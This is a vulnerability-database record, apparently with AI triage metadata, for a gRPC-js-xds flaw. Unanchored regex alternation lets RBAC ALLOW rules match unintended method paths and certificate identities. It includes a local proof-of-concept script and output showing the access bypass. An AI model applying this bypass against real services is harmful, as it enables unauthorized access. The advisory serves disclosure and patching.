{"id":"CVE-2026-126367","kind":"vulnerability","aliases":["CVE-2026-126367","GHSA-r7hq-q2xm-6c5m"],"related":[],"title":"@grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation","description":"### Summary\n\nThe StringMatcher/PathMatcher for `safe_regex` builds its RE2 as `^${regex}$` with no surrounding group. Because alternation has the lowest precedence, a pattern `\"a|b|c\"` compiles to `/^a|b|c$/` -- \"starts with a\" OR \"contains b\" OR \"ends with c\" instead of a full match of the whole value. Configurations with `safe_regex` matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.\n\n### Details\n\n`src/matcher.ts`: `SafeRegexValueMatcher` and `PathSafeRegexValueMatcher` both do\n```ts\nthis.targetRegexImpl = new RE2(`^${targetRegex}$`, 'u');\n```\n\nand `apply()` returns `targetRegexImpl.test(value)`. With a top-level alternation the anchors bind only to the first/last branch.\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L59\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L232\n\n`src/route.ts` (`getPredicateForStringMatcher` / `getPredicateForHeaderMatcher`) builds these for every `safe_regex` `StringMatcher`/`HeaderMatcher`, and src/rbac.ts uses them for RBAC `url_path` `permissions`/`principals`, `authenticated.principal_name` (mTLS SAN/CN), `requested_server_name` and `header rules`. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L28\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L47\n\n### Proof of concept\n\nIn a scratch directory:\n\n```\nnpm init -y\nnpm i @grpc/grpc-js-xds@1.14.1 @grpc/grpc-js\nnode poc.cjs\n```\n\n`poc.cjs` calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:\n\n```js\nconst { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js')\nconst { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js')\nconst { Metadata } = require('@grpc/grpc-js')\n\nconsole.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u)\n\nconst sr = regex => ({ match_pattern: 'safe_regex', safe_regex: { regex } })\nconst info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null,\n  destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' })\nconst g = parseConfig({ action: 'ALLOW', policies: { p: {\n  permissions: [{ rule: 'url_path', url_path: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }],\n  principals: [{ identifier: 'any', any: true }] } } })\n\nconsole.log('GetUser       ', g.apply(info('/acme.Users/GetUser')))       // true  (intended)\nconsole.log('DeleteUser    ', g.apply(info('/acme.Users/DeleteUser')))    // false (control)\nconsole.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS\n```\n\nObserved (grpc-js-xds 1.14.1, grpc-js 1.14.6):\n\n```\nmatcher \"admin|editor\" -> SafeRegex(/^admin|editor$/u);\n    apply(\"administrator\")=true, apply(\"not-an-editor\")=true\nALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers:\n    /acme.Users/GetUser         -> ALLOWED (intended)\n    /acme.Users/DeleteUser      -> denied  (control)\n    /acme.Users/GetUserSecrets  -> ALLOWED <-- bypass (policy intends deny)\ncontrol, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied\nALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin:\n    spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass\n```\n\n### Impact\n\nUsers of `@grpc/grpc-js-xds` who are using `safe_regex` matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.","summary":"The @grpc/grpc-js-xds library builds regex matchers as ^pattern$ without grouping, so an alternation like a|b matches any value that starts with a or ends with b. An ALLOW rule written with alternation can therefore grant access to method paths, certificate identities or header values that extend an intended one.","severity":"medium","cvss":4.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@grpc/grpc-js-xds","fixed":["1.14.2"],"affected":">= 1.14.0, < 1.14.2","ecosystem":"npm"},{"name":"@grpc/grpc-js-xds","fixed":["1.13.2"],"affected":"< 1.13.2","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-625","cwe-863","grpc","grpc-js-xds","node","package","rbac","xds"],"not_affected_if":["default-config","no-safe-regex-alternation"],"how_to_check":"- Search your code and xDS/Envoy-style config for `safe_regex` matchers that contain `|`.\n- Check the installed version with `npm ls @grpc/grpc-js-xds`; versions `>= 1.14.0, < 1.14.2` and `< 1.13.2` are affected.","fix":"- `@grpc/grpc-js-xds` `1.14.2` for the 1.14 line\n- `@grpc/grpc-js-xds` `1.13.2` for the 1.13 line","status":"open","published_at":"2026-11-12T23:21:57+00:00","first_seen_at":"2026-11-12T23:23:19+00:00","triaged_at":"2026-11-12T23:24:01+00:00","updated_at":"2026-11-12T23:24:01+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-12T23:24:01Z","model":"claude-haiku-5-5","output":{"fix":"- `@grpc/grpc-js-xds` `1.14.2` for the 1.14 line\n- `@grpc/grpc-js-xds` `1.13.2` for the 1.13 line","reach":"network","title":"grpc-js-xds: safe_regex alternation allows partial matches, bypassing access rules","impact":"medium","summary":"The @grpc/grpc-js-xds library builds regex matchers as ^pattern$ without grouping, so an alternation like a|b matches any value that starts with a or ends with b. An ALLOW rule written with alternation can therefore grant access to method paths, certificate identities or header values that extend an intended one.","audience":"developers","category":"package","nicknames":[],"who_cares":["grpc-js-xds","node","rbac","xds","grpc"],"confidence":0.85,"fix_status":"available","needs_auth":"unknown","worst_case":"Requests to unintended methods or identities are allowed by ALLOW rules","analyst_note":"","how_to_check":"- Search your code and xDS/Envoy-style config for `safe_regex` matchers that contain `|`.\n- Check the installed version with `npm ls @grpc/grpc-js-xds`; versions `>= 1.14.0, < 1.14.2` and `< 1.13.2` are affected.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["no-safe-regex-alternation","default-config"],"who_is_affected":"Services that use @grpc/grpc-js-xds with safe_regex matchers containing alternation for route selection, xDS credential SAN matching, or RBAC rules (url_path, principal_name, requested_server_name, header rules). DENY policies only become broader, so the exposure is on ALLOW rules written with alternation.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000973,"input_tokens":6514,"output_tokens":643,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-126367':15A,23A '-2026':14A,22A '-625':27B '-863':29B '/acme.users/deleteuser':399C,443C '/acme.users/getuser':381C,392C,438C,440C '/acme.users/getusersecrets':406C,446C,456C '/acme.users/listusers':382C,439C '/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#l232':208C '/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#l59':205C '/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#l28':273C '/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#l47':276C '/u':338C,425C '1.14.1':290C,414C '1.14.6':418C '10.0.0.1':361C '10.0.0.2':365C '443':363C '6c5m':20A 'access':75B,249C 'action':369C 'admin':332C,336C,420C,423C 'administr':427C 'allow':67B,242C,370C,435C,441C,447C,458C,465C 'altern':12A,51B,71B,105C,148C,194C,247C,478C 'anchor':196C 'appli':5A,159C,185C,426C,429C 'authent':459C 'authenticated.principal':230C 'author':310C 'b':54B,65B,113C,118C,125C 'becom':266C 'behavior':493C 'bind':197C 'branch':202C 'broader':267C 'build':42B,95C,212C 'bypass':408C,448C,466C 'c':114C,119C,129C 'call':295C 'certif':79B,253C 'compil':115C 'concept':279C 'configur':139C 'console.log':329C,388C,395C,402C 'const':317C,321C,325C,339C,349C,366C 'contain':124C 'control':401C,445C,452C 'credenti':168C,483C 'cve':13A,21A 'cwe':26B,28B 'decis':311C 'deleteus':396C 'deni':263C,444C,451C,457C 'destinationip':360C 'destinationport':362C 'detail':171C 'direct':300C 'directori':283C 'editor':333C,337C,421C,424C,433C 'end':63B,127C 'engin':299C 'everi':215C 'export':297C 'extend':85B,259C 'fail':269C 'fail-saf':268C 'fals':400C 'first/last':201C 'full':133C 'function':302C 'g':367C 'g.apply':390C,397C,404C 'getpredicateforheadermatch':211C 'getpredicateforstringmatch':210C 'getus':389C 'getusersecret':403C 'ghsa':17A 'ghsa-r7hq-q2xm-6c5m':16A 'github.com':204C,207C,272C,275C 'github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#l232':206C 'github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#l59':203C 'github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#l28':271C 'github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#l47':274C 'grant':74B,248C 'group':48B,103C 'grpc':30B,32B,304C,411C,416C 'grpc-js':303C,415C 'grpc-js-xds':31B,410C 'grpc/grpc-js':1A,291C,328C 'grpc/grpc-js-xds':24A,25A,40B,289C,470C 'grpc/grpc-js-xds/build/src/matcher.js':324C 'grpc/grpc-js-xds/build/src/rbac.js':320C 'header':82B,238C,256C,353C 'headermatch':219C 'ident':80B,157C,254C 'identifi':384C 'impact':164C,467C 'incorrect':4A,491C 'info':350C,391C,398C,405C 'init':285C 'instead':130C 'intend':87B,261C,394C,442C,450C 'js':33B,305C,316C,412C,417C 'level':193C 'librari':41B 'like':52B 'list':153C 'lowest':108C 'make':308C 'match':8A,55B,134C,162C,342C 'matcher':44B,143C,419C,476C,485C 'may':489C 'metadata':326C,355C 'method':77B,154C,251C 'mtls':232C 'name':231C,236C,252C,461C 'natur':150C 'network':315C 'new':180C,330C,354C 'node':35B,292C 'not-an-editor':430C 'npm':284C,287C 'null':359C 'observ':409C 'one':88B,262C 'ops/sa/admin':463C 'p':372C 'packag':36B 'parseconfig':318C,368C 'partial':6A,160C 'path':78B,227C,376C,378C,379C,437C 'pathsaferegexvaluematch':175C 'pattern':10A,46B,111C,343C 'peercertif':358C 'permiss':228C,373C,492C 'poc.cjs':293C,294C 'polici':264C,371C,449C 'preced':109C 'princip':229C,383C,460C 'prod/ns/web/sa/frontend':462C 'prod/ns/web/sa/frontend-batch':464C 'proof':277C 'q2xm':19A 'r7hq':18A 'rbac':37B,170C,225C,298C,487C 're2':97C,181C 'regex':3A,43B,94C,99C,142C,147C,217C,341C,345C,347C,348C,454C,475C 'request':234C 'requir':319C,323C,327C 'return':186C 'rout':165C,480C 'rule':68B,239C,243C,374C,488C 'safe':2A,93C,141C,216C,270C,344C,346C,474C 'saferegex':335C,422C 'saferegexvaluematch':173C,322C,331C 'san':484C 'san/cn':233C 'scratch':282C 'see':490C 'select':166C,481C 'server':235C,313C 'servic':156C 'sourceip':364C 'sr':340C,380C 'src/matcher.ts':172C 'src/rbac.ts':221C 'src/route.ts':209C 'start':59B,120C 'string':7A,161C 'stringmatch':218C 'stringmatcher/pathmatcher':91C 'summari':89C 'surround':102C 'targetregex':182C 'targetregeximpl.test':187C 'therefor':73B,158C 'this.targetregeximpl':179C 'tls':356C 'top':192C 'top-level':191C 'tostr':334C 'true':357C,387C,393C,407C,428C,434C 'ts':178C 'u':183C 'url':226C,375C,377C,436C 'urlpath':351C,352C 'use':145C,222C,306C,473C 'user':468C 'valu':57B,83B,138C,188C,257C 'way':151C 'whole':137C 'without':47B 'written':69B,244C 'xds':34B,38B,167C,413C,482C 'y':286C","nicknames":[],"mitigations":[],"who_affected":"Services that use @grpc/grpc-js-xds with safe_regex matchers containing alternation for route selection, xDS credential SAN matching, or RBAC rules (url_path, principal_name, requested_server_name, header rules). DENY policies only become broader, so the exposure is on ALLOW rules written with alternation.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["grpcjsxds"],"ptokens":["grpc","js","xds"],"labels":["cwe625","cwe863","grpc","grpcjsxds","medium","node","npm","package","rbac","xds"],"campaign_type":null,"search_a":"'-126367':15A,23A '-2026':14A,22A '6c5m':20A 'altern':12A 'appli':5A 'cve':13A,21A 'ghsa':17A 'ghsa-r7hq-q2xm-6c5m':16A 'grpc/grpc-js':1A 'grpc/grpc-js-xds':24A,25A 'incorrect':4A 'match':8A 'partial':6A 'pattern':10A 'q2xm':19A 'r7hq':18A 'regex':3A 'safe':2A 'string':7A","search_b":"'-625':27B '-863':29B 'access':75B 'allow':67B 'altern':51B,71B 'b':54B,65B 'build':42B 'certif':79B 'cwe':26B,28B 'end':63B 'extend':85B 'grant':74B 'group':48B 'grpc':30B,32B 'grpc-js-xds':31B 'grpc/grpc-js-xds':40B 'header':82B 'ident':80B 'intend':87B 'js':33B 'librari':41B 'like':52B 'match':55B 'matcher':44B 'method':77B 'node':35B 'one':88B 'packag':36B 'path':78B 'pattern':46B 'rbac':37B 'regex':43B 'rule':68B 'start':59B 'therefor':73B 'valu':57B,83B 'without':47B 'written':69B 'xds':34B,38B","search_c":"'/acme.users/deleteuser':399C,443C '/acme.users/getuser':381C,392C,438C,440C '/acme.users/getusersecrets':406C,446C,456C '/acme.users/listusers':382C,439C '/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#l232':208C '/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#l59':205C '/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#l28':273C '/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#l47':276C '/u':338C,425C '1.14.1':290C,414C '1.14.6':418C '10.0.0.1':361C '10.0.0.2':365C '443':363C 'access':249C 'action':369C 'admin':332C,336C,420C,423C 'administr':427C 'allow':242C,370C,435C,441C,447C,458C,465C 'altern':105C,148C,194C,247C,478C 'anchor':196C 'appli':159C,185C,426C,429C 'authent':459C 'authenticated.principal':230C 'author':310C 'b':113C,118C,125C 'becom':266C 'behavior':493C 'bind':197C 'branch':202C 'broader':267C 'build':95C,212C 'bypass':408C,448C,466C 'c':114C,119C,129C 'call':295C 'certif':253C 'compil':115C 'concept':279C 'configur':139C 'console.log':329C,388C,395C,402C 'const':317C,321C,325C,339C,349C,366C 'contain':124C 'control':401C,445C,452C 'credenti':168C,483C 'decis':311C 'deleteus':396C 'deni':263C,444C,451C,457C 'destinationip':360C 'destinationport':362C 'detail':171C 'direct':300C 'directori':283C 'editor':333C,337C,421C,424C,433C 'end':127C 'engin':299C 'everi':215C 'export':297C 'extend':259C 'fail':269C 'fail-saf':268C 'fals':400C 'first/last':201C 'full':133C 'function':302C 'g':367C 'g.apply':390C,397C,404C 'getpredicateforheadermatch':211C 'getpredicateforstringmatch':210C 'getus':389C 'getusersecret':403C 'github.com':204C,207C,272C,275C 'github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#l232':206C 'github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#l59':203C 'github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#l28':271C 'github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#l47':274C 'grant':248C 'group':103C 'grpc':304C,411C,416C 'grpc-js':303C,415C 'grpc-js-xds':410C 'grpc/grpc-js':291C,328C 'grpc/grpc-js-xds':289C,470C 'grpc/grpc-js-xds/build/src/matcher.js':324C 'grpc/grpc-js-xds/build/src/rbac.js':320C 'header':238C,256C,353C 'headermatch':219C 'ident':157C,254C 'identifi':384C 'impact':164C,467C 'incorrect':491C 'info':350C,391C,398C,405C 'init':285C 'instead':130C 'intend':261C,394C,442C,450C 'js':305C,316C,412C,417C 'level':193C 'list':153C 'lowest':108C 'make':308C 'match':134C,162C,342C 'matcher':143C,419C,476C,485C 'may':489C 'metadata':326C,355C 'method':154C,251C 'mtls':232C 'name':231C,236C,252C,461C 'natur':150C 'network':315C 'new':180C,330C,354C 'node':292C 'not-an-editor':430C 'npm':284C,287C 'null':359C 'observ':409C 'one':262C 'ops/sa/admin':463C 'p':372C 'parseconfig':318C,368C 'partial':160C 'path':227C,376C,378C,379C,437C 'pathsaferegexvaluematch':175C 'pattern':111C,343C 'peercertif':358C 'permiss':228C,373C,492C 'poc.cjs':293C,294C 'polici':264C,371C,449C 'preced':109C 'princip':229C,383C,460C 'prod/ns/web/sa/frontend':462C 'prod/ns/web/sa/frontend-batch':464C 'proof':277C 'rbac':170C,225C,298C,487C 're2':97C,181C 'regex':94C,99C,142C,147C,217C,341C,345C,347C,348C,454C,475C 'request':234C 'requir':319C,323C,327C 'return':186C 'rout':165C,480C 'rule':239C,243C,374C,488C 'safe':93C,141C,216C,270C,344C,346C,474C 'saferegex':335C,422C 'saferegexvaluematch':173C,322C,331C 'san':484C 'san/cn':233C 'scratch':282C 'see':490C 'select':166C,481C 'server':235C,313C 'servic':156C 'sourceip':364C 'sr':340C,380C 'src/matcher.ts':172C 'src/rbac.ts':221C 'src/route.ts':209C 'start':120C 'string':161C 'stringmatch':218C 'stringmatcher/pathmatcher':91C 'summari':89C 'surround':102C 'targetregex':182C 'targetregeximpl.test':187C 'therefor':158C 'this.targetregeximpl':179C 'tls':356C 'top':192C 'top-level':191C 'tostr':334C 'true':357C,387C,393C,407C,428C,434C 'ts':178C 'u':183C 'url':226C,375C,377C,436C 'urlpath':351C,352C 'use':145C,222C,306C,473C 'user':468C 'valu':138C,188C,257C 'way':151C 'whole':137C 'written':244C 'xds':167C,413C,482C 'y':286C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-12T23:21:57+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-r7hq-q2xm-6c5m","url":"https://github.com/advisories/GHSA-r7hq-q2xm-6c5m","severity":"medium","published_at":"2026-11-12T23:21:57+00:00","modified_at":"2026-11-12T23:21:58+00:00","first_seen_at":"2026-11-12T23:23:19+00:00","fetched_at":"2026-11-12T23:29:51+00:00","note":null}],"documents":[{"id":140289,"url":"https://api.github.com/repos/grpc/grpc-node/security-advisories/GHSA-r7hq-q2xm-6c5m","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":140290,"url":"https://github.com/grpc/grpc-node/security/advisories/GHSA-r7hq-q2xm-6c5m","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":140291,"url":"https://github.com/grpc/grpc-node/commit/3fc3b0ebf7a89d64843a73679951142d33b40cb1","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":140292,"url":"https://github.com/grpc/grpc-node/commit/57a67e96babcb29b6eabc1833221ccf2fa152d43","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":140293,"url":"https://github.com/grpc/grpc-node/releases/tag/@grpc/grpc-js-xds@1.13.2","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":140061,"url":"https://github.com/grpc/grpc-node/releases/tag/@grpc/grpc-js-xds@1.14.2","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}